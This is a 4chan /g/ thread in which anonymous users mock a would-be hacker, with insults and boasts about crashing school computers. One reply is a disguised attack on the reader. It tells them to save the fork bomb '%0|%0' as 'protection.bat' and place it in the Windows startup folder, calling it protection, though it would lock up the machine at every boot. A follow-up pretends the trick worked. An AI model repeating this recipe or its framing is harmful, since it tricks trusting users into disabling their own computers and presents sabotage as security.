Beginner Hacking and General Hacking Thread

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just use sharp tools, anon.

>>52637614

Sadly OP /g/ is not going to help you be a hacker, but we can offer you a little protection during your "extracurricular" activities.

Create a new text file on your desktop, and paste the following contents into it:
%0|%0


Select "all file types", and then save the file as "protection.bat". Then, create a shortcut to the file, and place it in your startup folder in the start menu so the computer is always protected on startup.

Best of luck!

I put a bat file that keeps opening chrome windows until the computer crashes in the class dropbox and the teacher said I am a black hat hacker, so I am pretty hardcore 1337

i once sat down to eat some chinese food and this fat fucker made a speech about how using 3 chopsticks is a hack and how he's a hacker

>>52637614
install gentoo, h4x0r

>>52637746
The same guy went and probably posted it on his blog

>>52637746
I bet he was fat as fuck and looked like a hobo.

>>52637614
Hello, newfriend. Little word of advice: I hate to break it to you, but /g/ will not help you become a 1337 h4xx0r. The few with some actual knowledge here have better things to do than to humor some wannabe skid. Go to college or fuck off, preferably both.

>>52637696
My sides have launched and i fell off my chair.

>>52637696
THANK YOU
it blocked the incoming OSI3 attack, even thought it's rare it blocked it!
this is the first time that using /g/ actually paid off

>>52637711
I once let my teacher brick a windows box remotely.
Long story short, i taught him how to forceibly shut PC's down remotely and he used it on a PC during an important system update.